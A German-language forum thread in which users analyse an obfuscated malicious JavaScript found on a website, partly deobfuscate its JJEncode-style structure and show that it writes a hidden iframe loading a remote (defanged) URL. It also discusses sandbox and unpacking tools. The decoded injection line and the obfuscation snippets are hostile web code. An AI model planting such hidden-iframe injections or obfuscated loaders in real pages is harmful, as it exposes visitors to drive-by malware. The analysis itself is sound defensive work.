Analysetool/Sandbox für JS?

Gast #3119443
Lesenswert?

Hallo Experten,

in Beitrag "Psion Organiser II" wurde ein wunderbarer 
Link zu einem bösen JS-Skript gepostet:

>  www[dot]schwitt[dot]de/radiobasteln/index.html (GEFAHR! VIRUS!)

Das Skript sieht so aus
1
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$]....
und ich wüsste gerne was da passiert.

1. Versuch: Malzilla --> "can't be compiled" ohne weitere Infos
2. Versuch: Per Hand --> Ich hab echt kaum Ahnung von JS, das wird so 
nichts.

Kennt jemand ein Tool was dabei helfen kann diesen Brocken zu 
analysieren? Sowas wie Malzilla aber besser, also ein Interpreter mit 
gutem Debugger und eine Sandbox drumherum?

Gefunden habe ich http://www.relentless-coding.org/projects/jsdetox/info 
aber das läuft nur unter Linux, ich nutze Win XP.
Persönliche Seite #3119510
Lesenswert?

troll schrieb:
1
$=~[];
Leeres Array anlegen und bitweises invertieren. Sollte das gleiche 
ergeben wie $=~0;
1
$={
weise nun $ ein Objekt/Hash mit folgenden Eigenschaften zu:
1
___:++$,
2
$$$$:(![]+"")[$],
3
__$:++$,
4
$_$_:(![]+"")[$],
5
_$_:++$,
6
$_$$:({}+"")[$]....
Falls das Skript schädlich ist, und nicht nur Unsinn und/oder 
Obfuscated (die ... sollen wohl sagen es geht noch weiter) hätte ich 
jetzt getippt, das irgendwelche Bufferoverflows oder Browserabstürze 
damit ausgelöst werden sollen.
Gast #3119522
Lesenswert?

Läubi .. schrieb:
> weise nun $ ein Objekt/Hash mit folgenden Eigenschaften zu:
Ja, bis dahin bin ich auch gekommen aber dann wurde es mir zu 
langwierig, ich wäre wohl immernoch am rätseln...
Das Skript ist noch deutlich länger, siehe Link (einfach mit wget laden, 
dann passiert da nichts). Ich tippe darauf dass das Skript einen iframe 
in die Seite schreibt wo dann weiterer Mist geladen wird. Siehe auch 
Heise Security Tatort Internet (sehr zu empfehlen!).
Gast #3119555
Lesenswert?

Machen tut das letztendlich das:
1
document.write('<div width="600px" height="600px" style="visibility:hidden;"><iframe width="100%" height="100%" src="h*t*t*p*:*/*/f*r.i*n*t*e*g*r*a*b*u*i*l*t*.*u*s*/*d*a*t*a*/*s*e*a*r*c*h*.*p*h*p*?*q*=*s*e*a*r*c*h*"></iframe></div>');
Sternchen durch mich eingefügt, ich hab keine Ahnung was hinter der 
Seite steckt. Alle Versuche auf eigene Gefahr.
Gast #3119603
Lesenswert?

Betriebsgeheimnis ;)

erstmal etwas Ordnung reingebracht:
1
$=~[];
2
$={
3
  ___:++$,  //0
4
  $$$$:(![]+"")[$],  //f
5
  __$:++$,  //1
6
  $_$_:(![]+"")[$],  //a
7
  _$_:++$,  //2
8
  $_$$:({}+"")[$],  //b
9
  $$_$:($[$]+"")[$],  //d
10
  _$$:++$,  //3
11
  $$$_:(!""+"")[$],  //e
12
  $__:++$,  //4
13
  $_$:++$,  //5
14
  $$__:({}+"")[$],  //c
15
  $$_:++$,  //6
16
  $$$:++$,  //7
17
  $___:++$,  //8
18
  $__$:++$  //9
19
};
20
$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;
21
$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;
22
$.$=($.___)[$.$_][$.$_];
Bis dahin kann man das ganz gut z.B. mit der JavaScript Konsole von 
Mozilla Firefox auswerten wenn man nichts besseres hat. Den Rest hab ich 
dann mit eigenen Tools entziffert, geht aber bestimmt mit Handarbeit 
auch in der Javascript-Konsole.
1
$.$(
2
  $.$(
3
    //Ewig viel Zeugs, das auch nur wieder einen langen string zusammensetzt wie oben.
4
  )()
5
)();
Gast #3119611
Lesenswert?

Sorry wegen Doppelpost...

Hab was unterschlagen... Streng genommen macht das Script im Orginal gar 
nichts, weil nämlich aus irgend einem Grund ein paar Backslash verloren 
gegangen sind... Aber würde es funktionieren würde es das machen.
Gast #3121339
Lesenswert?

ich schrieb:
> Bis dahin kann man das ganz gut z.B. mit der JavaScript Konsole von
> Mozilla Firefox auswerten wenn man nichts besseres hat.
Gute Idee, wäre mir allerdings zu unsicher sofern das nicht in einer VM 
läuft. Auch in FF gibt es ab und zu Sicherheitslücken und wer weiß was 
sich die bösen Schreiberlinge so ausgedacht haben...

Auf jeden Fall hast du mehr Ahnung von JS als ich (was auch nicht weiter 
schwer ist...), das ist natürlich schon mal ein großer Vorteil!

DirkB schrieb:
> ganz nett:
> jsunpack.jeek.org/?report
Ach ja, das wurde auch bei Heise Security verlinkt. Scheint das 
Skript/die Seite aber nicht für verdächtig zu halten oder verstehe ich 
das falsch?
http://jsunpack.jeek.org/?report=125e3886caa27582225bafbf4ca7d1cf16b7036e
http://jsunpack.jeek.org/?report=b28c00776e02067713d7fb2c74036590a81d9906
Gast #3121349
Lesenswert?

Sorry - ich war zu schnell.
troll schrieb:
> Scheint das
> Skript/die Seite aber nicht für verdächtig zu halten oder verstehe ich
> das falsch?
Was wohl hier dran liegen dürfte:
>Streng genommen macht das Script im Orginal gar
>nichts, weil nämlich aus irgend einem Grund ein paar Backslash verloren
>gegangen sind...

Antwort schreiben

Bitte melde dich an, um einen Beitrag zu schreiben.

oder

Mit Google-Account einloggen

Die Registrierung ist kostenlos und dauert nur eine Minute.

Jetzt registrieren